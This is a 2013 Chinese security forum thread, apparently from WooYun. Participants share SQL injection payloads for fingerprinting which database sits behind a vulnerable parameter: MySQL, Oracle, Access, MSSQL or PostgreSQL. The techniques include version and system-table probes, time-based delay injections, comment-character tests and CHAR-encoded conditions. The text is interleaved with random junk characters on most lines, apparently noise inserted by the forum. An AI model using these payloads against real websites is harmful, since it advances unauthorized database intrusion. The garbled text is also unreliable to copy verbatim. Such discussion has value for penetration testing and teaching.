一个注射点如何最快速确认是什么类型数据库: @0 i2 v$ I- [: S: m4 |
xsser (十根阳具有长短!!) | 2013-02-05 12:36" V% x$ b" ?4 x
假设这么一个注射点:
9 U0 T4 z+ g+ Y9 \. V, e% [show.html?id=2
7 G' N3 {0 T1 i( gmysql:id=2 and version()>0. v. e) D m4 {4 J% m' `& n
oracle:id=2 and '1'||'1'='11- ]% s# t) T9 {
其他的欢迎补充
0 U& G% B4 F' k1 Z9 f1#
( J. U! O4 M( y2 r$ j" C' Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:470 B# P( ^; |. U" S: a# r7 G
Access:) ? f+ X5 k0 w4 c
aNd aSc(cHr(97))=97
$ B+ c. e9 {0 Land exists(select id from MSysAccessObjects)) j8 U7 ~6 _; n) |2 z1 E5 c4 c
SQL Server:3 m) r$ W. U B: m b
and exists(select id from sysobjects)- N: z. z; n8 u
and length(user)>0
1 D; ~/ S( I) k: w% ^2 kMySQL:# }* {/ H& A: S$ f2 D- U
and length(user())>01 P }3 q3 g! r( B
2#
4 }: E" {8 E6 ?! h6 B; zxsser (十根阳具有长短!!) | 2013-02-05 12:48/ m& o" Q. H+ o+ ^7 H) X# u
@upload 如果这些都不是呢…
/ O+ O1 I. j& v. E3#: h: F0 f5 Z3 s2 m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03: Y. o3 ?- b8 R! a3 A
@xsser 不快速的,延时注入" o+ G2 B- N$ ^& B" r2 z
不知道这样写对不对7 V, \+ H& V$ S
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
! g Q3 O/ B- o' v+ }) [mysql:id=2 and select benchmark(1e8,current_date());
3 ~6 |" q2 D' P) ` q* v T4#4 P, [! M, x) X. c4 D
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
, B8 ~ B. c( O0 H! e3 K7 O最快的貌似是看报错信息+ a/ Q0 _8 Z" j) A5 y" g. C5 ~
oracle error5 C. A/ S2 T/ r0 e
mssql error
' W: s4 E0 ]1 O* @9 \, x+ dmysql error
1 t; M$ h; i @# m9 F5 D9 D0 y* A! G5#* x* O, N- A" d) p i
Nimda (你们都是坏银~) | 2013-02-05 13:14; U9 W. v1 S) Z) T+ H6 g
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
9 e4 M+ R& q/ {0 V/ u% v0 Z6#
" B2 E5 t3 n2 p) C5 gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21* t) g B% u* l/ L+ @8 H& E
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:' U& o) Q1 Q" }
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
! D7 t% D9 ^/ v5 Z: P2 {“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
8 h$ ?8 }/ X {. ?/ F7#1 @, {% p2 ~; e7 v0 r+ _7 _0 }9 X
_Evil (HackEnd) | 2013-02-05 13:33; `# n$ H, x3 e& t; M5 U3 X v
PostgreSQL
8 y) H4 }- a2 K Z; `+ b6 R! o" o8## y! m+ I1 ^' G5 K6 S9 ]0 T n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:421 y- x( k, ?) G
切换编码 and 1=1
' p7 G8 q9 V$ e& {: w$ ~8 [oracle:
' `% ?( y; n& `* b/ P# f: \& rCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0 y5 _, d4 p% G1 ^mssql:
, U3 h- |- l2 x' u/ jCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49); x9 b' ]( {% v3 m5 x
mysql:7 L( |, ?2 Q5 l9 O$ G0 s
CHAR(97, 110, 100, 32, 49, 61, 49)2 W/ p7 {7 _$ \9 C+ `, N
9#$ i P+ x1 C: \+ Q E4 S
xsser (十根阳具有长短!!) | 2013-02-05 14:31! j# c7 M# O3 u" V) G
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
; u1 `7 W( J6 y3 f& z/ {10#
2 t9 N2 h5 N8 J, M$ o' Lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
b1 a: {" {& A/ Y% L- L3 s! ~/ ~2 X& `9 l@xsser 是奇葩数据库类型的么?
1 O3 s% @) o/ r* i* |/ k根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:! ]% E- x2 Q1 o) C: [
1.是否可以使用特定的函数来判断,该数据库特有的
9 \- C" @8 \" D. e8 C @: M# X' r. g2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" O/ D3 z7 h% a7 ?& N, |3.是否可以编码查询
% W$ R; p/ g* z+ y) m4.是否显可以利用错信息( T8 W4 B* _7 U N1 K
5.是否存在数据库某些特性辅助判断
0 Y% @5 k& Q5 a* t% G V2 v" t6 u: r个人见解) p, h6 F$ \: C$ L6 ]) N" T
11#1 W0 V% t& _* [8 h. I* @
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
2 G/ j" t W+ f5 z& o已收藏,mssql可以直接看到错误提示的吧~
2 I$ O: F; \7 i$ J12#, B& ?9 \% D7 K
Passer_by | 2013-02-05 15:09
2 F/ y2 O0 I# i/ o2 \" m2 L曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。 M$ Z4 o/ z. F! q
from:http://zone.wooyun.org/content/260 |